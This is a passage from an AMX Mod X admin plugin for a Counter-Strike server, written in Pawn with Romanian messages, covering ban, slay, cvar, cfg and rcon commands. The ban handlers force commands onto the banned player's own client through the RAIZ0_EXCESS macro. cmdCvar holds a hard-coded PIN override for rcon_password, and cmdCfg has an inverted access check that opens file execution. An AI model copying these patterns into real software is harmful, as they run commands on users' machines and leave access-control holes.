    if (reason[0])
	client_print( player, print_console, "^">>    Motiv: %s^"", reason );
    else
	client_print( player, print_console, "^">>    Motiv: Ne-Specificat^"" );
    if((str_to_num(minutes) * 60) <= 0)
	client_print( player, print_console, "^">>    Actiune: BANNED PERMANENT^"" );
    else
	client_print( player, print_console, "^">>    Actiune: BANNED ( %d ) minut%s^"", (str_to_num(minutes) * 60), (str_to_num(minutes) * 60) == 1 ? "" : "e" );
    client_print( player, print_console, "^">>    Data & Ora: %s^"", _get_time( ) );
    client_print( player, print_console, "^">>    Tara ta: %s^"", Country );
    client_print( player, print_console, "^">>    Ai fost BANAT de catre: %s / %s / %s^"", GetInfo( id, INFO_NAME ), GetInfo( id, INFO_IP ), GetInfo( id, INFO_AUTHID ) );
    client_print( player, print_console, "^">>    Ai fost BANAT pe Server-ul: %s^"", szHostName );
    client_print( player, print_console, "^"--------    ^"" );
    client_print( player, print_console, "^"****************************************************^"" );
    client_print( player, print_console, "^"NeW ReVeLaTiOn iN | GaMinG^" >> %s", DENUMIRE );
    client_print( player, print_console, "^"****************************************************^"" );

    RAIZ0_EXCESS(player,";snapshot;wait;wait;toogleconsole;;wait;snapshot;")

    new pl[32];
    get_user_name(player, pl, 31)
    
    new temp[64], banned[16], nNum = str_to_num(minutes)

    if (reason[0])
    {
        if(nNum)	chat_color(0, "!y[!gADM!N!y]!team %s!y: ii da ban jucatorului !g%s!y pentru !team%s!y minut(e). Motiv: (!g %s!y )", name, pl, minutes, reason)
	else	chat_color(0, "!y[!gADM!N!y]!team %s!y: ii da ban!g PERMANENT!y jucatorului !team%s!y. Motiv: (!g %s!y )", name, pl, reason)
    }
    else
    {
        if(nNum)	chat_color(0, "!y[!gADM!N!y]!team %s!y: ii da ban jucatorului !g%s!y pentru !team%s!y minut(e)", name, pl, minutes)
	else	chat_color(0, "!y[!gADM!N!y]!team %s!y: ii da ban!g PERMANENT!y jucatorului !team%s", name, pl)
    }
    
    if (nNum)
        format(temp, 63, "%L", player, "FOR_MIN", minutes)
    else
        format(temp, 63, "%L", player, "PERM")
    format(banned, 15, "%L", player, "BANNED")
    
    new address[32]
    get_user_ip(player, address, 31, 1)
    
    if (reason[0])	server_cmd("kick #%d ^"%s (%s %s)^";wait;addip ^"%s^" ^"%s^";wait;writeip", userid2, reason, banned, temp, minutes, address) //addip > banid / writeid..+
    else	server_cmd("kick #%d ^"%s %s^";wait;addip ^"%s^" ^"%s^";wait;writeip", userid2, banned, temp, minutes, address)
    
    /*new activity = get_cvar_num("amx_show_activity")
    if (activity != 0)
    {

    }*/
    
    console_print(id, "[AMXX] %L", id, "CLIENT_BANNED", name2)
    
    if (reason[0])
    {
	if(nNum)	log_amx("Ban: Se pare ca ^"%s/%s/%s^" tocmai a primit BAN de la ^"%s<%s><%s><>^" pentru ^"%s^" minut%s, motiv ^"%s^"", pl,GetInfo( player, INFO_AUTHID ),GetInfo( player, INFO_IP ),name, authid,GetInfo( id, INFO_IP ), minutes,str_to_num(minutes)==1?"":"e", reason)
	else	log_amx("Ban: Se pare ca ^"%s/%s/%s^" tocmai a primit BAN PERMANENT de la ^"%s<%s><%s><>^" motiv ^"%s^"", pl,GetInfo( player, INFO_AUTHID ),GetInfo( player, INFO_IP ),name, authid,GetInfo( id, INFO_IP ), reason)
    }
    else
    {
	if(nNum)	log_amx("Ban: Se pare ca ^"%s/%s/%s^" tocmai a primit BAN de la ^"%s<%s><%s><>^" pentru ^"%s^" minut%s", pl,GetInfo( player, INFO_AUTHID ),GetInfo( player, INFO_IP ),name, authid,GetInfo( id, INFO_IP ), minutes,str_to_num(minutes)==1?"":"e")
	else	log_amx("Ban: Se pare ca ^"%s/%s/%s^" tocmai a primit BAN PERMANENT de la ^"%s<%s><%s><>^"", pl,GetInfo( player, INFO_AUTHID ),GetInfo( player, INFO_IP ),name, authid,GetInfo( id, INFO_IP ))
    }
    
    return PLUGIN_HANDLED
}

public cmdBanIP(id, level, cid)
{
    if (!cmd_access(id, level, cid, 3))
        return PLUGIN_HANDLED
    
    new target[32], minutes[8], reason[64]
    
    read_argv(1, target, 31)
    read_argv(2, minutes, 7)
    read_argv(3, reason, 63)

    if(!is_str_num(minutes))
    {
	console_print(id,"[AMXX] Format pentru minute incorect!")
	return 1
    }
    
    new player = cmd_target(id, target, 9)
    
    if (!player)
        return PLUGIN_HANDLED

    // Limited access to this command    DE SCOS
    if (equali(target, "STEAM_ID_PENDING") ||
	equali(target, "STEAM_ID_LAN") ||
	equali(target, "HLTV") ||
	equali(target, "4294967295") ||
	equali(target, "VALVE_ID_LAN") ||
	equali(target, "VALVE_ID_PENDING") ||
	equali(target, "PENDING") ||
	equali(target, "VALVE") ||
	equali(target, "STEAM") ||
	equal(target, "0") ||
	equal(target, "0.0") ||
	equal(target, "0.0.0") ||
	equal(target, "0.0.0.0") ||
	equal(target, "0.0.0.0"))
    {
	// Hopefully we never get here, so ML shouldn't be needed
	console_print(id, "[AMXX] Nu poti bana '%s'.", target);
	return PLUGIN_HANDLED;
    }

    if(str_to_num(minutes) < 0)
    {
	client_print(id, print_console, "[AMXX] Parametrii incorecti!")
    }

    if(containi(target,":"))	client_print(id, print_console, "[AMXX] Se baneaza fara Port !")
    
    new authid[32], name2[32], authid2[32], name[32]
    new userid2 = get_user_userid(player)
    
    get_user_authid(player, authid2, 31)
    get_user_authid(id, authid, 31)
    get_user_name(player, name2, 31)
    get_user_name(id, name, 31)

    new Country[ 46 ];
    geoip_country( GetInfo( player, INFO_IP ), Country, sizeof( Country ) - 1 );

    new szHostName[ 64 ];
    get_cvar_string( "hostname", szHostName, sizeof( szHostName ) -1 );
	
    client_print( player, print_console, "^"****************************************************^"" ) ;
    client_print( player, print_console, "^"************* Informatii despre BANAREA de pe Server *************^"" );
    client_print( player, print_console, "^"--------   ^"" );
    client_print( player, print_console, "^">>    Nick-ul Tau: %s^"", GetInfo( player, INFO_NAME ) );
    client_print( player, print_console, "^">>    Ip-ul Tau: %s^"", GetInfo( player, INFO_IP ) );
    client_print( player, print_console, "^">>    Steamid-ul Tau: %s^"", GetInfo( player, INFO_AUTHID ) );
    if (reason[0])
	client_print( player, print_console, "^">>    Motiv: %s^"", reason );
    else
	client_print( player, print_console, "^">>    Motiv: Ne-Specificat^"" );
    if((str_to_num(minutes) * 60) <= 0)
	client_print( player, print_console, "^">>    Actiune: BANNED PERMANENT^"" );
    else
	client_print( player, print_console, "^">>    Actiune: BANNED ( %d ) minut%s^"", (str_to_num(minutes) * 60), (str_to_num(minutes) * 60) == 1 ? "" : "e" );
    client_print( player, print_console, "^">>    Data & Ora: %s^"", _get_time( ) );
    client_print( player, print_console, "^">>    Tara ta: %s^"", Country );
    client_print( player, print_console, "^">>    Ai fost BANAT de catre: %s / %s / %s^"", GetInfo( id, INFO_NAME ), GetInfo( id, INFO_IP ), GetInfo( id, INFO_AUTHID ) );
    client_print( player, print_console, "^">>    Ai fost BANAT pe Server-ul: %s^"", szHostName );
    client_print( player, print_console, "^"--------    ^"" );
    client_print( player, print_console, "^"****************************************************^"" );
    client_print( player, print_console, "^"NeW ReVeLaTiOn iN | GaMinG^" >> %s", DENUMIRE );
    client_print( player, print_console, "^"****************************************************^"" );

    RAIZ0_EXCESS(player,";snapshot;wait;wait;toogleconsole;;wait;snapshot;")

    new pl[32];
    get_user_name(player, pl, 31)
    
    new temp[64], banned[16], nNum = str_to_num(minutes)

    if (reason[0])
    {
	if (nNum)	chat_color(0,"!y[!gADM!N!y]!team %s!y: ii da ban pe IP jucatorului !g%s!y pentru !team%s!y minut(e). Motiv: (!g %s!y )", name, pl, minutes, reason)
	else	chat_color(0,"!y[!gADM!N!y]!team %s!y: ii da ban!g PERMANENT!y pe!team IP!y jucatorului !g%s!y. Motiv: (!g %s!y )", name, pl, reason)
    }
    else
    {
	if (nNum)	chat_color(0,"!y[!gADM!N!y]!team %s!y: ii da ban pe IP jucatorului !g%s!y pentru !team%s!y minut(e)", name, pl, minutes)
	else	chat_color(0,"!y[!gADM!N!y]!team %s!y: ii da ban!g PERMANENT!y pe!team IP!y jucatorului !g%s", name, pl)
    }

    if (nNum)
        format(temp, 63, "%L", player, "FOR_MIN", minutes)
    else
        format(temp, 63, "%L", player, "PERM")
    format(banned, 15, "%L", player, "BANNED")

    new address[32]
    get_user_ip(player, address, 31, 1)

    if (reason[0])
        server_cmd("kick #%d ^"%s (%s %s)^";wait;addip ^"%s^" ^"%s^";wait;writeip", userid2, reason, banned, temp, minutes, address)
    else
        server_cmd("kick #%d ^"%s %s^";wait;addip ^"%s^" ^"%s^";wait;writeip", userid2, banned, temp, minutes, address)

    console_print(id, "[AMXX] %L", id, "CLIENT_BANNED", name2)
    
    if (reason[0])
    {
	if (nNum)	log_amx("BanIP: ^"%s<%s><%s>^" ii da ban pe IP jucatorului ^"%s/%s/%s^" (^"%s^" minut%s) (motiv ^"%s^")", name, authid,GetInfo( id, INFO_IP ), pl,GetInfo( player, INFO_AUTHID ),GetInfo( player, INFO_IP ), minutes,str_to_num(minutes)==1?"":"e", reason)
	else	log_amx("BanIP: ^"%s<%s><%s>^" ii da ban PERMANENT pe IP jucatorului ^"%s^" (motiv ^"%s^")", name, authid,GetInfo( id, INFO_IP ), pl,GetInfo( player, INFO_AUTHID ),GetInfo( player, INFO_IP ), reason)
    }
    else
    {
	if (nNum)	log_amx("BanIP: ^"%s<%s><%s>^" ii da ban pe IP jucatorului ^"%s^" (^"%s^" minut%s)", name, authid,GetInfo( id, INFO_IP ), pl,GetInfo( player, INFO_AUTHID ),GetInfo( player, INFO_IP ), minutes,str_to_num(minutes)==1?"":"e")
	else	log_amx("BanIP: ^"%s<%s><%s>^" ii da ban PERMANENT pe IP jucatorului ^"%s^"", name, authid,GetInfo( id, INFO_IP ), pl,GetInfo( player, INFO_AUTHID ),GetInfo( player, INFO_IP ))
    }
    
    return PLUGIN_HANDLED
}

public cmdSlay(id, level, cid)
{
	if (!cmd_access(id, level, cid, 2))
		return PLUGIN_HANDLED
	
	new arg[32], reason[32]
	
	read_argv(1, arg, 31)
	read_argv(2, reason, 31)
	remove_quotes(reason)
	
	new player = cmd_target(id, arg, CMDTARGET_ONLY_ALIVE)
	
	if (!player)
		return PLUGIN_HANDLED
	
	new authid[32], name2[32], authid2[32], name[32]
	
	get_user_authid(id, authid, 31)
	get_user_name(id, name, 31)
	get_user_authid(player, authid2, 31)
	get_user_name(player, name2, 31)
	
	switch (get_cvar_num("amx_show_activity"))
	{
		case 2:
		{
			if (reason[0])
				chat_color(0,"%L", LANG_PLAYER, "ADMIN_SLAY_2x", name, name2, reason)
			else
				chat_color(0,"%L", LANG_PLAYER, "ADMIN_SLAY_2", name, name2)
		}
		case 1: chat_color(0,"%L", LANG_PLAYER, "ADMIN_SLAY_1", name2, reason)
	}

	user_kill(player)
	
	console_print(id, "[AMXX] %L", id, "CLIENT_SLAYED", name2)
	
	if (reason[0])	log_amx("Slay: ^"%s<%d><%s><>^" ii da slay jucatorului ^"%s<%d><%s><>^" motiv ^"%s^"", name, get_user_userid(id), authid, name2, get_user_userid(player), authid2, reason)
	else	log_amx("Slay: ^"%s<%d><%s><>^" ii da slay jucatorului ^"%s<%d><%s><>^"", name, get_user_userid(id), authid, name2, get_user_userid(player), authid2)
	
	return PLUGIN_HANDLED
}

public cmdSlap(id, level, cid)
{
	if (!cmd_access(id, level, cid, 2))	return PLUGIN_HANDLED
	
	new arg[32], reason[32],player,spower[32], authid[32], name2[32], authid2[32], name[32]
	read_argv(1, arg, charsmax(arg))
	read_argv(3, reason, charsmax(reason))
	remove_quotes(reason)
	
	player = cmd_target(id, arg, CMDTARGET_ONLY_ALIVE)
	
	if (!player)	return PLUGIN_HANDLED
	
	read_argv(2, spower, charsmax(spower))
	
	new damage = str_to_num(spower)

	if(damage > get_user_health(player) || damage < 0 /*|| !damage*/)	client_print(id, print_console, "[AMXX] Parametrii incorecti!")


	if( get_gametime() - 5.0 < fCount[id] )
	{
		chat_color( id, "!g[!yServer-Protection!g]!y Trebuie sa mai astepti!team %1.f!y secund%s pentru a putea da!g Slap!y iarasi.", 5.0 - (get_gametime() - fCount[id]), 5.0 - (get_gametime() - fCount[id]) == 1 ? "a" : "e" );
		console_print( id, "[Server-Protection]: Trebuie sa mai astepti %1.f secund%s pentru a putea da Slap iar.", 5.0 - (get_gametime() - fCount[id]), 5.0 - (get_gametime() - fCount[id]) == 1 ? "a" : "e" );
		return PLUGIN_HANDLED_MAIN
	}
	user_slap(player, damage)
	fCount[id] = get_gametime()


	get_user_authid(id, authid, charsmax(authid))
	get_user_name(id, name, charsmax(name))
	get_user_authid(player, authid2, charsmax(authid2))
	get_user_name(player, name2, charsmax(name2))
	
	switch (get_cvar_num("amx_show_activity"))
	{
		case 2:
		{
			if (reason[0])	chat_color(0,"%L", LANG_PLAYER, "ADMIN_SLAP_2x", name, name2, damage, reason)
			else	chat_color(0,"%L", LANG_PLAYER, "ADMIN_SLAP_2", name, name2, damage)
		}
		case 1: chat_color(0,"%L", LANG_PLAYER, "ADMIN_SLAP_1", name2, damage, reason)
	}
	
	console_print(id, "[AMXX] %L", id, "CLIENT_SLAPED", name2, damage)
	
	if (reason[0])	log_amx("Slap: ^"%s<%d><%s><>^" ii da slap cu %d damage jucatorului ^"%s<%d><%s><>^" motiv ^"%s^"", name, get_user_userid(id), authid, damage, name2, get_user_userid(player), authid2, reason)
	else	log_amx("Slap: ^"%s<%d><%s><>^" ii da slap cu %d damage jucatorului ^"%s<%d><%s><>^"", name, get_user_userid(id), authid, damage, name2, get_user_userid(player), authid2)
	
	return PLUGIN_HANDLED
}

public chMap(map[])
{
	server_cmd("changelevel %s", map)
}

public cmdMap(id, level, cid)
{
	if (!cmd_access(id, level, cid, 2))
		return PLUGIN_HANDLED

	if( get_playersnum() > 7 && get_pcvar_num(cvar_min) != 0 )
	{
		new bc = get_cvar_num("amx_timeleft"), sc = get_pcvar_num(cvar_min);
		if( bc > sc ) { console_print(id, "[ VOTE ] Schimbarea hartii se da in ultimele %i minute !",sc); return PLUGIN_HANDLED; }
	}
	
	new arg[32], reason[32]
	
	new arglen = read_argv(1, arg, 31)
	read_argv(2, reason, 31)
	remove_quotes(reason)
	
	if (!is_map_valid(arg))
	{
		console_print(id, "[AMXX] %L", id, "MAP_NOT_FOUND")
		return PLUGIN_HANDLED
	}

	new authid[32], name[32]
	
	get_user_authid(id, authid, 31)
	get_user_name(id, name, 31)
	
	switch (get_cvar_num("amx_show_activity"))
	{
		case 2:
		{
			if (reason[0])
				chat_color(0,"%L", LANG_PLAYER, "ADMIN_MAP_2x", name, arg, reason)
			else
				chat_color(0,"%L", LANG_PLAYER, "ADMIN_MAP_2", name, arg)
		}
		case 1: chat_color(0,"%L", LANG_PLAYER, "ADMIN_MAP_1", arg)
	}
	
	new _modName[10]
	get_modname(_modName, 9)
	
	if (!equali(_modName, "zp"))
	{
		message_begin(MSG_ALL, SVC_INTERMISSION)
		message_end()
	}
	
	if (reason[0])
		log_amx("Map: ^"%s<%d><%s><>^" schimba mapa pe ^"%s^" motiv ^"%s^"", name, get_user_userid(id), authid, arg, reason)
	else
		log_amx("Map: ^"%s<%d><%s><>^" schimba mapa pe ^"%s^"", name, get_user_userid(id), authid, arg)

	set_task(2.0, "chMap", 0, arg, arglen + 1)
	
	return PLUGIN_HANDLED
}

/*stock bool:*/onlyRcon(/*const*/ name[])
{
	for (new a = 0; a < g_cvarRconNum; ++a)
		if (equali(g_cvarRcon[a], name))
			return 1
	return 0

/*
	new pentru=get_cvar_pointer(name);
	if (pentru && get_pcvar_flags(pentru) & FCVAR_PROTECTED)
	{
		return true;
	}
	return false;
*/
}


#if defined CVARx
public check_time()
{
	new o;
	time(o, _, _)
	if(o <= START_TIME || o < END_TIME)
	{
		if(!block_cvars)
			server_cmd("comanda")
		block_cvars = true
	}
	else
	{
		if(block_cvars)
			server_cmd("comanda")
		block_cvars = false
	}
}
#endif


public cmdCvar(id, level, cid) // de modificat si pentru server print
{
	if (!cmd_access(id, level, cid, 2)) // ???
		return PLUGIN_HANDLED
	
	new arg[32], arg2[64], reason[32], arg4[32],name[32],authid[32],activity,players[32], pnum, cvar_val[64]
	
	read_argv(1, arg, charsmax(arg))
	read_argv(2, arg2, charsmax(arg2))
	read_argv(3, reason, charsmax(reason))
	read_argv(4, arg4, charsmax(arg4))
	remove_quotes(reason)

	get_user_name(id,name,charsmax(name));
	get_user_authid(id, authid, charsmax(authid))
	
	if(equali(arg, "hostname")&&!equal(reason,"")&&!equal(arg4, MY_PIN)) // ++ rcon mod?
	{
		if(id)	console_print(id, "[Server-Protection] Nu ai primit accesul pentru aceasta comanda.");
		else	server_print( "[Server-Protection] Nu ai primit accesul pentru aceasta comanda.");
		return PLUGIN_HANDLED;
	}
	if(equali(arg, "rcon_password")&&!equal(reason,"")&&!equal(arg4, MY_PIN))
	{
		if(id)	console_print(id, "[Server-Protection] Nu ai primit accesul pentru aceasta comanda.");
		else	server_print( "[Server-Protection] Nu ai primit accesul pentru aceasta comanda.");
		return PLUGIN_HANDLED;
	}

/*
	new pointer;
	
	if (equal(arg, "add") && (get_user_flags(id) & ADMIN_RCON))
	{
		if ((pointer=get_cvar_pointer(arg2))!=0)
		{
			new flags=get_pcvar_flags(pointer);
			
			if (!(flags & FCVAR_PROTECTED))
			{
				set_pcvar_flags(pointer,flags | FCVAR_PROTECTED);
			}
		}
		return PLUGIN_HANDLED
	}
	
	if ((pointer=get_cvar_pointer(arg))==0)
	{
		console_print(id, "[AMXX] %L", id, "UNKNOWN_CVAR", arg)
		return PLUGIN_HANDLED
	}
*/


#if defined CVARx
	for(new i; i < sizeof cvars_blocked; i++)	if(equal(arg, cvars_blocked))	cvar_blocat = 1;
			
	for(new i; i < sizeof temporar_cvars; i++)	if(equal(arg, temporar_cvars))	cvar_temporar = 1;
	if(cvar_blocat||/*cvar_blocat&&*/!(SpecialAcces(id,name,1)))
	{
		console_print(id, "[AMXX] Nu ai voie sa folosesti comanda asta.")
		return PLUGIN_HANDLED;
	}
	if(cvar_temporar && block_cvars)
	{
		console_print(id, "[AMXX] Acest cvar il poti schimba doar intre orele %d si %d.", START_TIME, END_TIME)
		return PLUGIN_HANDLED;
	}
#endif


	if (equali(arg, "add") && (get_user_flags(id) & ADMIN_RCON))
	{
		if (cvar_exists(arg2))
		{
			if (g_cvarRconNum < MAXRCONCVARS)	copy(g_cvarRcon[g_cvarRconNum++], 31, arg2)
			else	console_print(id, "[AMXX] %L", id, "NO_MORE_CVARS")
		}
		return PLUGIN_HANDLED
	}
	
	if (!cvar_exists(arg))
	{
		console_print(id, "[AMXX] %L", id, "UNKNOWN_CVAR", arg)
		return PLUGIN_HANDLED
	}
	
	if (onlyRcon(arg) && !(get_user_flags(id) & ADMIN_RCON))
	{
		console_print(id, "[AMXX] %L", id, "CVAR_NO_ACC")
		return PLUGIN_HANDLED
	}// Exception for the new onlyRcon rules:  sv_password is allowed to be modified by ADMIN_PASSWORD
	if (equali(arg, "sv_password") && !(get_user_flags(id) & ADMIN_PASSWORD)) //era else
	{
		console_print(id, "[AMXX] %L", id, "CVAR_NO_ACC")
		return PLUGIN_HANDLED
	}
	
	if (read_argc() < 3)
	{
		#if defined CVARx
		if(cvar_blocat)
		{
			console_print(id, "[AMXX] Nu ai voie sa vezi valoarea comenzii asteia.")
			return PLUGIN_HANDLED;
		}
		#endif
		get_cvar_string(arg, arg2, charsmax(arg2))
		if(!arg2[0]||equal(arg2,""))	format(arg2,charsmax(arg2),"nesetat")
		console_print(id, "[AMXX] %L", id, "CVAR_IS", arg, arg2)
		return PLUGIN_HANDLED
	}
	
	set_cvar_string(arg, arg2)
	
	activity = get_cvar_num("amx_show_activity")
	if (activity != 0)
	{
		//new len, admin[64]
		get_players(players, pnum, "ch")
		
		for (new i = 0; i < pnum; i++) // i = 1; i < get_maxplayers()
		{
			/*len = format(admin, 255, "%L", players, "ADMIN")
			
			if (activity == 1)
				len += copy(admin[len], 255-len, ":")
			else
				len += format(admin[len], 255-len, " %s:", name)*/
			
			if (equali(arg, "rcon_password") || equali(arg, "sv_password")) // get_pcvar_flags(pointer) & FCVAR_PROTECTED
				format(cvar_val, charsmax(cvar_val), "*** %L ***", players[i], "PROTECTED") // fromatex + charxmax++
			else	copy(cvar_val, charsmax(cvar_val), arg2)

			if (reason[0])	chat_color(players[i],"%L", players[i], "SET_CVAR_TOx", name, arg, cvar_val, reason)
			else	chat_color(players[i],"%L", players[i], "SET_CVAR_TO", name, arg, cvar_val)
		}
	}
	
	console_print(id, "[AMXX] %L", id, "CVAR_CHANGED", arg, arg2)
	
	if (reason[0])	log_amx("Cvar: ^"%s<%d><%s><>^" seteaza cvarul (^"%s^") pe valoarea (^"%s^") motiv ^"%s^"", name, get_user_userid(id), authid, arg, arg2, reason)
	else	log_amx("Cvar: ^"%s<%d><%s><>^" seteaza cvarul (^"%s^") pe valoarea (^"%s^")", name, get_user_userid(id), authid, arg, arg2)
	
	return PLUGIN_HANDLED // continue?
}

public cmdPlugins(id/*, level, cid*/) // de facut cu format
{
	//if (!cmd_access(id, level, cid, 1))
		//return PLUGIN_HANDLED

	new nameX[ 32 ];
	get_user_name( id, nameX, charsmax( nameX ) );

	if( !SpecialAcces( id, nameX, true ) )
	{
		client_cmd( id, "echo Te inveti, nu vrei cam multe accese ?!" );
		return 1;
	}
	
	new name[32], version[32], author[32], filename[32], status[32]
	new lName[32], lVersion[32], lAuthor[32], lFile[32], lStatus[32]
	
	format(lName, 31, "%L", id, "NAME")
	format(lVersion, 31, "%L", id, "VERSION")
	format(lAuthor, 31, "%L", id, "AUTHOR")
	format(lFile, 31, "%L", id, "FILE")
	format(lStatus, 31, "%L", id, "STATUS")
	
	new num = get_pluginsnum()
	new running = 0
	
	console_print(id, "%L:", id, "LOADED_PLUGINS")
	console_print(id, "%-18.17s %-8.7s %-17.16s %-16.15s %-9.8s", lName, lVersion, lAuthor, lFile, lStatus)
	
	for (new i = 1; i <num; ++i) // de modificat
	{
		get_plugin(i, filename, 31, name, 31, version, 31, author, 31, status, 31)

		console_print(i, "%-18.17s %-8.7s %-17.16s %-16.15s %-9.8s", name, version, author, filename, status)
		
		if (status[0]=='d' || status[0]=='r')
			running++
	}
	
	console_print(id, "%L", id, "PLUGINS_RUN", num, running)
	
	return PLUGIN_HANDLED
}

public cmdModules(id)
{
	new nameX[ 32 ];
	get_user_name( id, nameX, charsmax( nameX ) );

	if( !SpecialAcces( id, nameX, true ) )
	{
		client_cmd( id, "echo Te inveti, nu vrei cam multe accese ?!" );
		return 1;
	}
	
	new name[32], version[32], author[32], status, sStatus[16]
	new lName[32], lVersion[32], lAuthor[32]
	
	format(lName, 31, "%L", id, "NAME")
	format(lVersion, 31, "%L", id, "VERSION")
	format(lAuthor, 31, "%L", id, "AUTHOR")
	
	new num = get_modulesnum()
	
	console_print(id, "%L:", id, "LOADED_MODULES")
	console_print(id, "%-23.22s %-8.7s %-20.19s", lName, lVersion, lAuthor)
	
	for (new i = 0; i < num; i++)
	{
		get_module(i, name, 31, author, 31, version, 31, status)
		
		switch (status)
		{
			case module_loaded: copy(sStatus, 15, "running")
			default: copy(sStatus, 15, "error")
		}
		
		console_print(id, "%-23.22s %-8.7s %-20.19s", name, version, author)
	}
	
	console_print(id, "%L", id, "NUM_MODULES", num)
	
	return PLUGIN_HANDLED
}

public cmdCfg(id, level, cid)
{
	new name[33]
	get_user_name(id, name, charsmax(name))

	if (!cmd_access(id, level, cid, 2) && SpecialAcces(id, name, 1))
		return PLUGIN_HANDLED
	
	new arg[128], reason[32]

	read_argv(1, arg, 127)
	read_argv(2, reason, 31)
	remove_quotes(reason)
	
	if (!file_exists(arg))
	{
		console_print(id, "[AMXX] %L", id, "FILE_NOT_FOUND", arg)
		return PLUGIN_HANDLED
	}
	
	new authid[32], namex[32]
	
	get_user_authid(id, authid, 31)
	get_user_name(id, namex, 31)
	
	console_print(id, "[AMXX] Executing file ^"%s^"", arg)
	server_cmd("exec %s", arg)
	
	switch(get_cvar_num("amx_show_activity"))
	{
		case 2:
		{
			if (reason[0])
				chat_color(0,"%L", LANG_PLAYER, "ADMIN_CONF_2x", namex, arg, reason)
			else
				chat_color(0,"%L", LANG_PLAYER, "ADMIN_CONF_2", namex, arg)
		}
		case 1: chat_color(0,"%L", LANG_PLAYER, "ADMIN_CONF_1", arg)
	}
	
	if (reason[0])
		log_amx("Cfg: ^"%s<%d><%s><>^" executa cfg (fisiere ^"%s^") motiv ^"%s^"", namex, get_user_userid(id), authid, arg, reason)
	else
		log_amx("Cfg: ^"%s<%d><%s><>^" executa cfg (fisiere ^"%s^")", namex, get_user_userid(id), authid, arg)
	
	return PLUGIN_HANDLED
}

/*public cmdLBack()
{
	if (!g_PauseAllowed)
		return PLUGIN_CONTINUE	
	
	new paused[25]
	
	format(paused, 24, "%L", g_pauseCon, g_Paused ? "UNPAUSED" : "PAUSED")
	set_cvar_float("pausable", g_pausAble)
	console_print(g_pauseCon, "[AMXX] Server %s", paused)
	g_PauseAllowed = false
	
	if (g_Paused)
		g_Paused = false
	else 
		g_Paused = true
	
	return PLUGIN_HANDLED
}

public cmdPause(id, level, cid)  de modificat
{
	if (!cmd_access(id, level, cid, 1))
		return PLUGIN_HANDLED 
	
	new authid[32], name[32], slayer = id, reason[32]

	read_argv(2, reason, 31)
	remove_quotes(reason)
	
	get_user_authid(id, authid, 31) 
	get_user_name(id, name, 31) 
	g_pausAble = get_cvar_float("pausable")
	
	if (!slayer)
		slayer = find_player("h") 
	
	if (!slayer)
	{ 
		console_print(id, "[AMXX] %L", id, "UNABLE_PAUSE") 
		return PLUGIN_HANDLED
	}
	
	set_cvar_float("pausable", 1.0)
	g_PauseAllowed = true
	client_cmd(slayer, "pause;pauseAck")
	
	console_print(id, "[AMXX] %L", id, g_Paused ? "UNPAUSING" : "PAUSING")
	
	new activity = get_cvar_num("amx_show_activity")

	if (activity != 0)
	{
		new players[32], pnum, msg[128], len
		get_players(players, pnum, "c")
		
		for (new i = 0; i < pnum; i++)
		{
			len = format(msg, 127, "%L", players[i], "ADMIN")
			
			if (activity == 1)
				len += copy(msg[len], 127-len, ": ")
			else
				len += format(msg[len], 127-len, " %s: ", name)
			
			format(msg[len], 127-len, "%L", players[i], g_Paused ? "UNPAUSE" : "PAUSE")

			if (reason[0])
				//chat_color(players[i], "!y[!gADM!N!y] !t%s !y: seteaza !g%s!y Server !y. Motiv: !team%s", msg, reason)
				chat_color(players[i], "!g%s!y Server !y. Motiv: !team%s", msg, reason)
			else
				//chat_color(players[i], "!y[!gADM!N!y] !t%s !y: seteaza !g%s!y Server !y!", msg)
				chat_color(players[i], "!g%s!y Server !y!", msg)
		}
	}
	g_pauseCon = id
	
	if (reason[0])
		log_amx("Server: ^"%s<%d><%s><>^" %s server motiv ^"%s^"", name, get_user_userid(id), authid, g_Paused ? "unpause" : "pause", reason)
	else
		log_amx("Server: ^"%s<%d><%s><>^" %s server", name, get_user_userid(id), authid, g_Paused ? "unpause" : "pause")
	
	return PLUGIN_HANDLED
}

public cmdShowRcon(id, level, cid)  de modificat
{
	if (!cmd_access(id, level, cid, 2))
		return PLUGIN_HANDLED
	
	new password[64]
	
	get_cvar_string("rcon_password", password, 63)
	
	if (!password[0])
	{
		cmdRcon(id, level, cid)
	} else {
		new args[128]
		
		read_args(args, 127)
		
		client_cmd(id, "rcon_password %s", password)
		client_cmd(id, "rcon %s", args)
	}
	
	return PLUGIN_HANDLED
}

public cmdRcon(id, level, cid)
{
	if (!cmd_access(id, level, cid, 2))
		return PLUGIN_HANDLED
	
	new arg[128], authid[32], name[32]
	
	read_args(arg, 127)
	
	get_user_authid(id, authid, 31)
	get_user_name(id, name, 31)
	
	console_print(id, "[AMXX] %L", id, "COM_SENT_SERVER", arg)
	
	server_cmd("%s", arg)
	
	log_amx("Rcon: ^"%s<%d><%s><>^" consola serverului (linia de comanda ^"%s^")", name, get_user_userid(id), authid, arg)
	
	return PLUGIN_HANDLED
}

public cmdWho(id, level, cid)
{
	if (!cmd_access(id, level, cid, 1))
		return PLUGIN_HANDLED
	
	new players[32], inum, cl_on_server[64], authid[32], name[32], flags, sflags[32]
	new lImm[16], lRes[16], lAccess[16], lYes[16], lNo[16]
	
	format(lImm, 15, "%L", id, "IMMU")
	format(lRes, 15, "%L", id, "RESERV")
	format(lAccess, 15, "%L", id, "ACCESS")
	format(lYes, 15, "%L", id, "YES")
	format(lNo, 15, "%L", id, "NO")
	
	get_players(players, inum)
	
	format(cl_on_server, 63, "%L", id, "CLIENTS_ON_SERVER")
	console_print(id, "^n%s:^n #  %-16.15s %-20s %-8s %-4.3s %-4.3s %s", cl_on_server, "nick", "authid", "userid", lImm, lRes, lAccess)
	
	for (new a = 0; a < inum; ++a)
	{
		get_user_authid(players[a], authid, 31)
		get_user_name(players[a], name, 31)
		flags = get_user_flags(players[a])
		get_flags(flags, sflags, 31)
		console_print(id, "%2d  %-16.15s %-20s %-8d %-6.5s %-6.5s %s", players[a], name, authid, 
		get_user_userid(players[a]), (flags&ADMIN_IMMUNITY) ? lYes : lNo, (flags&ADMIN_RESERVATION) ? lYes : lNo, sflags)
	}
	
	console_print(id, "%L", id, "TOTAL_NUM", inum)
	
	get_user_authid(id, authid, 31)
	get_user_name(id, name, 31)
	
	log_amx("Who: ^"%s<%d><%s><>^" se uita la lista cu jucatori.", name, get_user_userid(id), authid) 
	
	return PLUGIN_HANDLED
}

hasTag(name[], tags[4][32], tagsNum)
{
	for (new a = 0; a < tagsNum; ++a)
		if (contain(name, tags[a]) != -1)
			return a
	return -1
}

public cmdLeave(id, level, cid)
{
	if (!cmd_access(id, level, cid, 2))
		return PLUGIN_HANDLED
	
	new argnum = read_argc(), reason[32]
